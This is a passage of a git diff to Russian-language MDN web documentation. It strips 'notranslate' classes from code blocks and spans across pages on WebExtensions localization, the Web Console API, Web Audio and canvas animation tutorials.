<em>messageName</em> + <strong>__</strong></pre> +<pre><strong>__MSG_</strong> + <em>messageName</em> + <strong>__</strong></pre> <h3 id="Локализация_по_умолчанию">Локализация по умолчанию</h3> <p>Ещё одно поле. которое нужно указать в manifest.json — это <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/default_locale">default_locale</a>:</p> -<pre class="brush: json notranslate">"default_locale": "en"</pre> +<pre class="brush: json">"default_locale": "en"</pre> <p>Этот параметр устанавливает локализацию по умолчанию, используемую, если расширение не поддерживает локализацию браузера пользователя. Любые сообщения, недоступные в текущей локализации, будут браться из той локализации, которая установлена по умолчанию. There are some more details to be aware of in terms of how the browser selects strings — see {{anch("Выбор локализованной строки")}}.</p> @@ -150,7 +150,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <p>Локализованные строки также можно получить из CSS-файлов расширения. Например, вы можете создать поля CSS, зависящие от локализации, так:</p> -<pre class="brush: css notranslate">header { +<pre class="brush: css">header { background-image: url(../images/__MSG_extensionName__/header.png); }</pre> @@ -168,12 +168,12 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <p>В нашем примере <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> , <a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/background-script.js">фоновый скрипт</a> содержит следующие строки:</p> -<pre class="brush: js notranslate">var title = browser.i18n.getMessage("notificationTitle"); +<pre class="brush: js">var title = browser.i18n.getMessage("notificationTitle"); var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Первая из них получает поле <code>notificationTitle message</code> из доступного файла <code>messages.json</code>, соответствующее наиболее подходящей локализации . Вторая строка похожа на первую, но в ней метод принимает URL в качестве второго параметра. Зачем? С помощью этого параметра мы указываем, на что нужно заменить заполнитель <code>$URL$</code> в поле <code>notificationContent message</code>:</p> -<pre class="brush: json notranslate">"notificationContent": { +<pre class="brush: json">"notificationContent": { "message": "You clicked $URL$.", "description": "Tells the user which link they clicked.", "placeholders": { @@ -189,17 +189,17 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Давайте посмотрим на пример: изначально сообщение <code>notificationContent</code> в файле <code>en/messages.json</code> такое:</p> -<pre class="notranslate">You clicked $URL$.</pre> +<pre>You clicked $URL$.</pre> <p>Пусть эта ссылка указывает на <code>https://developer.mozilla.org</code>. После вызова {{WebExtAPIRef("i18n.getMessage()")}}, содержание второго параметра становится доступно в messages.json в качестве значения <code>$1</code>, замещающего <code>$URL$</code>, так как это указано в заполнителе <code>"url"</code>. Таким образом, итоговое значение строки:</p> -<pre class="notranslate">You clicked https://developer.mozilla.org.</pre> +<pre>You clicked https://developer.mozilla.org.</pre> <h3 id="Прямое_использование_заполнителей">Прямое использование заполнителей</h3> <p>Переменные (<code>$1</code>, <code>$2</code>, <code>$3</code>, и т. д.) можно вставлять напрямую в сообщения. Например, можно переписать объект <code>"notificationContent"</code> следующим образом:</p> -<pre class="brush: json notranslate">"notificationContent": { +<pre class="brush: json">"notificationContent": { "message": "You clicked $1.", "description": "Tells the user which link they clicked." }</pre> @@ -210,7 +210,7 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Значения заполнителей можно задавать вручную, если вы хотите, чтобы каждый раз это значение было одним и тем же, а не определялось переменной в коде. Например:</p> -<pre class="brush: json notranslate">"mdn_banner": { +<pre class="brush: json">"mdn_banner": { "message": "For more information on web technologies, go to $MDN$.", "description": "Tell the user about MDN", "placeholders": { @@ -286,11 +286,11 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Модуль i18n module предоставляет заранее определённые сообщения, которые можно вызвать таким же образом, как мы это делали в разделе {{anch("Интернационализация manifest.json")}}. Например:</p> -<pre class="notranslate">__MSG_extensionName__</pre> +<pre>__MSG_extensionName__</pre> <p>Заранее определённые сообщения используют такой же синтаксис, за исключением <code>@@</code> перед именем сообщения, например:</p> -<pre class="notranslate">__MSG_@@ui_locale__</pre> +<pre>__MSG_@@ui_locale__</pre> <p>Следующая таблица содержит различные заранее определённые сообщения:</p> @@ -337,7 +337,7 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Возвращаясь к нашему примеру, лучше было бы написать:</p> -<pre class="brush: css notranslate">header { +<pre class="brush: css">header { background-image: url(../images/__MSG_@@ui_locale__/header.png); }</pre> @@ -345,7 +345,7 @@ var content = browser.i18n.getMessage("notificationContent", message.url);</pre> <p>Давайте рассмотрим пример использования сообщений <code>@@bidi_*</code> в файле CSS:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { direction: __MSG_@@bidi_dir__; } @@ -360,14 +360,14 @@ div#header { <p>Для языков, в которых текст читается слева направо, таких как английский, правила CSS, использующие заранее определённые сообщения, сверху задают такие значения:</p> -<pre class="brush: css notranslate">direction: ltr; +<pre class="brush: css">direction: ltr; padding-left: 0; padding-right: 1.5em; </pre> <p>Для языков, читающихся справа налево, значения будут следующими:</p> -<pre class="brush: css notranslate">direction: rtl; +<pre class="brush: css">direction: rtl; padding-right: 0; padding-left: 1.5em;</pre> diff --git a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html index 3a726aeaaa..169be48be8 100644 --- a/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html +++ b/files/ru/mozilla/add-ons/webextensions/modify_a_web_page/index.html @@ -31,7 +31,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/модификация_веб_ст <p>Прежде всего создадим новую директорию, назовём её "modify-page". В этой директории, создадим файл "manifest.json", со следующим содержимым:</p> -<pre class="brush: json notranslate">{ +<pre class="brush: json">{ "manifest_version": 2, "name": "modify-page", @@ -58,7 +58,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/модификация_веб_ст <p>Далее, создадим файл "page-eater.js", внутри директории "modify-page":</p> -<pre class="brush: js notranslate">document.body.textContent = ""; +<pre class="brush: js">document.body.textContent = ""; var header = document.createElement('h1'); header.textContent = "Эта страница была съедена"; @@ -78,7 +78,7 @@ document.body.appendChild(header);</pre> <p>Для начала обновим "manifest.json":</p> -<pre class="brush: json notranslate">{ +<pre class="brush: json">{ "manifest_version": 2, "name": "modify-page", @@ -104,7 +104,7 @@ document.body.appendChild(header);</pre> <p>Давайте создадим этот файл. Создадим новый файл "background.js" в директории "modify-page" и поместим в него следующий код:</p> -<pre class="brush: js notranslate">browser.contextMenus.create({ +<pre class="brush: js">browser.contextMenus.create({ id: "eat-page", title: "Съесть эту страницу" }); @@ -122,7 +122,7 @@ browser.contextMenus.onClicked.addListener(function(info, tab) { <p>На данном этапе расширение должно иметь следующий вид:</p> -<pre class="line-numbers language-html notranslate"><code class="language-html">modify-page/ +<pre class="line-numbers language-html"><code class="language-html">modify-page/ background.js manifest.json page-eater.js</code></pre> @@ -163,7 +163,7 @@ browser.contextMenus.onClicked.addListener(function(info, tab) { <p>Изменим "background.js" :</p> -<pre class="brush: js notranslate">browser.contextMenus.create({ +<pre class="brush: js">browser.contextMenus.create({ id: "eat-page", title: "Съесть эту страницу" }); @@ -193,7 +193,7 @@ browser.contextMenus.onClicked.addListener(function(info, tab) { <p>Далее, обновим "page-eater.js":</p> -<pre class="brush: js notranslate">function eatPage(request, sender, sendResponse) { +<pre class="brush: js">function eatPage(request, sender, sendResponse) { document.body.textContent = ""; var header = document.createElement('h1'); diff --git a/files/ru/tools/web_console/index.html b/files/ru/tools/web_console/index.html index a40b8982ae..f0d7363d14 100644 --- a/files/ru/tools/web_console/index.html +++ b/files/ru/tools/web_console/index.html @@ -196,7 +196,7 @@ translation_of: Tools/Web_Console <p><span id="result_box" lang="ru"><span>Тем не менее</span><span>,</span> <span>если</span> <span>какой-то</span> <span>JavaScript-код</span> <span>читает что</span> <span>стиль</span><span> был изменён</span><span>,</span> <span>то</span> <span>браузер должен</span> <span>выполнить</span> <span>синхронное</span> <span>переформатирование</span></span><span lang="ru"><span> в порядке вычисленным расчётом стиля</span><span> чтобы вернуться</span><span>.</span> <span>Например</span><span>, код</span><span> как</span> <span>этот хочет вызвать</span> <span>немедленное</span><span>,</span> <span>синхронное</span><span>,</span> </span><span id="result_box" lang="ru"><span>переформатирование</span></span><span lang="ru"><span>,</span> <span>когда вызовет</span></span> <code>window.getComputedStyle(thing).height</code>:</p> -<pre class="brush: js notranslate">var thing = document.getElementById("the-thing"); +<pre class="brush: js">var thing = document.getElementById("the-thing"); thing.style.display = "inline-block"; var thingHeight = window.getComputedStyle(thing).height;</pre> @@ -301,12 +301,12 @@ var thingHeight = window.getComputedStyle(thing).height;</pre> <td> <p>The argument to <code>error()</code>.</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.error("an error");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7143/api-error.png" style="display: block; margin-left: auto; margin-right: auto;"> <p>The console will display a full stack trace for errors:</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> function error() { console.error("an error"); } @@ -329,12 +329,12 @@ call_error();</pre> <td> <p>If the assertion succeeds, nothing. If the assertion fails, the argument:</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.assert(false, "My assertion always fails");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7139/api-assert.png" style="display: block; margin-left: auto; margin-right: auto;"> <p>The console will display a full stack trace for assertions:</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> function assertion() { console.assert(false, "assertion failed"); } @@ -366,7 +366,7 @@ call_assertion();</pre> <td> <p>The argument to <code>warn()</code>.</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.warn("a warning");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7155/api-warn.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -388,7 +388,7 @@ console.warn("a warning");</pre> <td> <p>The argument to <code>info()</code>.</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.info("some info");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7145/api-info.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -410,7 +410,7 @@ console.info("some info");</pre> <td> <p>The label supplied, if any, and the number of times this occurrence of <code>count()</code> has been called with the given label:</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.count(user.value);</pre> <p><img alt="" src="https://mdn.mozillademos.org/files/7359/api-count.png" style="display: block; margin-left: auto; margin-right: auto;"></p> @@ -421,7 +421,7 @@ console.count(user.value);</pre> <td> <p>Listing of the object's properties:</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> var user = document.getElementById('user'); console.dir(user);</pre> <img alt="" src="https://mdn.mozillademos.org/files/7157/api-dir.png" style="display: block; margin-left: auto; margin-right: auto;"></td> @@ -435,7 +435,7 @@ console.dir(user);</pre> <td> <p>The argument to <code>log()</code>.</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.log("logged");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7147/api-log.png" style="display: block; margin-left: auto; margin-right: auto;"> @@ -456,7 +456,7 @@ console.log("logged");</pre> <td> <p>Notification that the specified timer started.</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.time("t");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7149/api-time.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -465,7 +465,7 @@ console.time("t");</pre> <td> <p>Duration for the specified timer.</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.timeEnd("t");</pre> <img alt="" src="https://mdn.mozillademos.org/files/7151/api-timeEnd.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -474,7 +474,7 @@ console.timeEnd("t");</pre> <td> <p>Stack trace:</p> - <pre class="brush: js notranslate"> + <pre class="brush: js"> console.trace();</pre> <img alt="" src="https://mdn.mozillademos.org/files/7159/api-trace.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -489,7 +489,7 @@ console.trace();</pre> <p>Начиная с Firefox 31, вы можете использовать спецификатор формата <code>"%c"</code> для стилизации консольных сообщений:</p> -<pre class="brush: js notranslate">console.log("%cMy stylish message", "color: red; font-style: italic");</pre> +<pre class="brush: js">console.log("%cMy stylish message", "color: red; font-style: italic");</pre> <div><img alt="" src="https://mdn.mozillademos.org/files/7739/console-style.png" style="display: block; height: 52px; margin-left: auto; margin-right: auto; width: 293px;"></div> @@ -572,26 +572,26 @@ console.trace();</pre> <p>Вы можете передать DOM-элемент для определённого iframe :</p> -<pre class="brush: js notranslate">var frame = document.getElementById("frame1"); +<pre class="brush: js">var frame = document.getElementById("frame1"); cd(frame);</pre> <p>Вы можете передать CSS селектор для определённого iframe:</p> -<pre class="brush: js notranslate">cd("#frame1");</pre> +<pre class="brush: js">cd("#frame1");</pre> <p>Вы можете передать глобальный объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> для определённого iframe:</p> -<pre class="brush: js notranslate">var frame = document.getElementById("frame1"); +<pre class="brush: js">var frame = document.getElementById("frame1"); cd(frame.contentWindow); </pre> <p>Для переключения контекста видимости обратно к окну верхнего уровня, введите <code>cd()</code> без аргументов:</p> -<pre class="brush: js notranslate">cd();</pre> +<pre class="brush: js">cd();</pre> <p>Предположим у нас есть документ, который содержит iframe:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> @@ -603,7 +603,7 @@ cd(frame.contentWindow); <p>В этом iframe определена новая функция:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> @@ -619,7 +619,7 @@ cd(frame.contentWindow); <p>Вы можете переключиться на контекст iframe например так:</p> -<pre class="brush: js notranslate">cd("#frame1");</pre> +<pre class="brush: js">cd("#frame1");</pre> <p>Сейчас вы сможете видеть, что глобальный объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> это теперь наш iframe:</p> diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index 86ca8846e1..d0f4d76dca 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">var audioCtx = new AudioContext(); +<pre class="brush: js">var audioCtx = new AudioContext(); var analyser = audioCtx.createAnalyser(); var dataArray = new Uint8Array(analyser.frequencyBinCount); // Uint8Array должен иметь такой же размер, что и frequencyBinCount @@ -38,7 +38,7 @@ void <em>analyser</em>.getByteFrequencyData(dataArray); // заполняет Ui <p>Следующий пример показывает базовое использование {{domxref ("AudioContext")}} для создания AnalyserNode, затем {{domxref ("window.requestAnimationFrame ()", "requestAnimationFrame")}} и {{htmlelement ("canvas" )}} для повторения сбора частотных данных и вывода в стиле гистограммы winamp для текущего аудиовхода. Для получения дополнительных примеров / информации ознакомьтесь с нашей демонстрацией <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> (см. соответствующий код в строках <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> ).</p> -<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... diff --git a/files/ru/web/api/analysernode/index.html b/files/ru/web/api/analysernode/index.html index 3eba1fb760..c319515a2a 100644 --- a/files/ru/web/api/analysernode/index.html +++ b/files/ru/web/api/analysernode/index.html @@ -97,7 +97,7 @@ translation_of: Web/API/AnalyserNode <p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p> -<pre class="brush: js notranslate">var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); // ... diff --git a/files/ru/web/api/audioparam/index.html b/files/ru/web/api/audioparam/index.html index bbe425dcb6..9ce41633ff 100644 --- a/files/ru/web/api/audioparam/index.html +++ b/files/ru/web/api/audioparam/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/AudioParam <p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p> -<pre class="brush: js notranslate">var AudioContext = window.AudioContext || window.webkitAudioContext; +<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); var gainNode = audioCtx.createGain(); @@ -73,7 +73,7 @@ gainNode.gain.value = 0;</pre> <p>Next, an example showing a {{ domxref("DynamicsCompressorNode") }} having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p> -<pre class="brush: js notranslate">var compressor = audioCtx.createDynamicsCompressor(); +<pre class="brush: js">var compressor = audioCtx.createDynamicsCompressor(); compressor.threshold.setValueAtTime(-50, audioCtx.currentTime); compressor.knee.setValueAtTime(40, audioCtx.currentTime); compressor.ratio.setValueAtTime(12, audioCtx.currentTime); diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html index 202e13d971..9a6485b694 100644 --- a/files/ru/web/api/audioparam/setvalueattime/index.html +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AudioParam/setValueAtTime <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> +<pre class="syntaxbox">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> <h3 id="Параметры">Параметры</h3> @@ -28,7 +28,7 @@ translation_of: Web/API/AudioParam/setValueAtTime <p>This simple example features a media element source with two control buttons (see our <a href="https://github.com/mdn/webaudio-examples/blob/master/audio-param/index.html">webaudio-examples repo</a> for the source code, or <a href="https://mdn.github.io/webaudio-examples/audio-param/">view the example live</a>). When the buttons are pressed, the <code>currGain</code> variable is incremented/decremented by 0.25, then the <code>setValueAtTime()</code> method is used to set the gain value equal to <code>currGain</code>, one second from now (<code>audioCtx.currentTime + 1</code>.)</p> -<pre class="brush: js;highlight[32,37] notranslate">// create audio context +<pre class="brush: js;highlight[32,37]">// create audio context var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index ab241f8f1d..d572446540 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/BeforeInstallPromptEvent <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">window.addEventListener("beforeinstallprompt", function(e) { +<pre class="brush: js">window.addEventListener("beforeinstallprompt", function(e) { // Зарегистрируйте платформы, указанные в качестве параметров, в запросе на установку console.log(e.platforms); // e.g., ["web", "android", "windows"] e.userChoice.then(function(choiceResult) { diff --git a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html index f8c623a1c1..ad2177d693 100644 --- a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/BeforeInstallPromptEvent/prompt <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">BeforeInstallPromptEvent.prompt()</pre> +<pre class="syntaxbox">BeforeInstallPromptEvent.prompt()</pre> <h3 id="Параметры">Параметры</h3> @@ -26,7 +26,7 @@ translation_of: Web/API/BeforeInstallPromptEvent/prompt <h2 id="Пример">Пример</h2> -<pre class="notranslate">var isTooSoon = true; +<pre>var isTooSoon = true; window.addEventListener("beforeinstallprompt", function(e) { if (isTooSoon) { e.preventDefault(); // Предотвращает быстрое отображение diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html index 6f4c9d5c2f..61a84cb2b6 100644 --- a/files/ru/web/api/bluetoothremotegattserver/index.html +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer <h2 id="Интерфейс">Интерфейс</h2> -<pre class="syntaxbox notranslate">interface BluetoothRemoteGATTServer { +<pre class="syntaxbox">interface BluetoothRemoteGATTServer { readonly attribute BluetoothDevice device; readonly attribute boolean connected; diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index 12932d5046..6a0dedcd7b 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/BroadcastChannel/postMessage <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code> +<pre class="syntaxbox">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code> </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/caches/index.html b/files/ru/web/api/caches/index.html index a6a19b6b1c..d67b99be17 100644 --- a/files/ru/web/api/caches/index.html +++ b/files/ru/web/api/caches/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>myCacheStorage</em> = self.caches; // or just caches +<pre class="syntaxbox">var <em>myCacheStorage</em> = self.caches; // or just caches </pre> <h3 id="Значение">Значение</h3> @@ -23,7 +23,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches <p>Данный пример показывает как надо использовать кеш в контексте <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> для хранения в автономном режиме</p> -<pre class="brush: js notranslate">this.addEventListener('install', function(event) { +<pre class="brush: js">this.addEventListener('install', function(event) { event.waitUntil( caches.open('v1').then(function(cache) { return cache.addAll([ diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html index 44f0185bad..8c1a771764 100644 --- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -6,17 +6,17 @@ translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div> <div class="summary"> -<p><span class="notranslate">В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span class="notranslate"> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p> +<p><span>В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p> </div> -<h2 id="Рисование_мяча"><span class="notranslate">Рисование мяча</span></h2> +<h2 id="Рисование_мяча"><span>Рисование мяча</span></h2> -<p><span class="notranslate">Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span class="notranslate">.</span> Нам нужен следующий код.</p> +<p><span>Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span>.</span> Нам нужен следующий код.</p> <pre class="brush: html"><canvas id="canvas" width="600" height="300"></canvas> </pre> -<p><span class="notranslate">Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p> +<p><span>Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p> <pre class="brush: js">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); @@ -37,11 +37,11 @@ var ball = { ball.draw();</pre> -<p><span class="notranslate">Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p> +<p><span>Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p> -<h2 id="Добавление_скорости"><span class="notranslate">Добавление скорости</span></h2> +<h2 id="Добавление_скорости"><span>Добавление скорости</span></h2> -<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span class="notranslate">Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span class="notranslate">помогает нам контролировать анимацию.</span> <span class="notranslate">Мяч перемещается, добавляя вектор скорости в положение.</span> <span class="notranslate">Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span class="notranslate"> холст, чтобы удалить старые круги из предыдущих кадров.</span></p> +<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span>Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span>помогает нам контролировать анимацию.</span> <span>Мяч перемещается, добавляя вектор скорости в положение.</span> <span>Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span> холст, чтобы удалить старые круги из предыдущих кадров.</span></p> <pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); @@ -82,9 +82,9 @@ canvas.addEventListener('mouseout', function(e) { ball.draw(); </pre> -<h2 id="Границы"><span class="notranslate" style="background-color: #e6ecf9;">Границы</span></h2> +<h2 id="Границы"><span style="background-color: #e6ecf9;">Границы</span></h2> -<p><span class="notranslate">Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span class="notranslate"> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span class="notranslate"> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p> +<p><span>Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p> <pre class="brush: js">if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { ball.vy = -ball.vy; @@ -93,9 +93,9 @@ if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { ball.vx = -ball.vx; }</pre> -<h3 id="Первое_демо"><span class="notranslate">Первое демо</span></h3> +<h3 id="Первое_демо"><span>Первое демо</span></h3> -<p><span class="notranslate">Посмотрим, как он выглядит в действии.</span> <span class="notranslate"> Переместите мышь на холст, чтобы запустить анимацию.</span></p> +<p><span>Посмотрим, как он выглядит в действии.</span> <span> Переместите мышь на холст, чтобы запустить анимацию.</span></p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas></pre> @@ -158,7 +158,7 @@ ball.draw();</pre> <pre class="brush: js">ball.vy *= .99; ball.vy += .25;</pre> -<p><span class="notranslate">Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p> +<p><span>Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p> <div class="hidden"> <h6 id="Second_demo">Second demo</h6> @@ -284,9 +284,9 @@ ball.draw();</pre> <p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p> -<h2 id="Добавление_управления_мышью"><span class="notranslate" style="background-color: #e6ecf9;">Добавление управления мышью</span></h2> +<h2 id="Добавление_управления_мышью"><span style="background-color: #e6ecf9;">Добавление управления мышью</span></h2> -<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span class="notranslate"> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span class="notranslate"> Событие <code><a 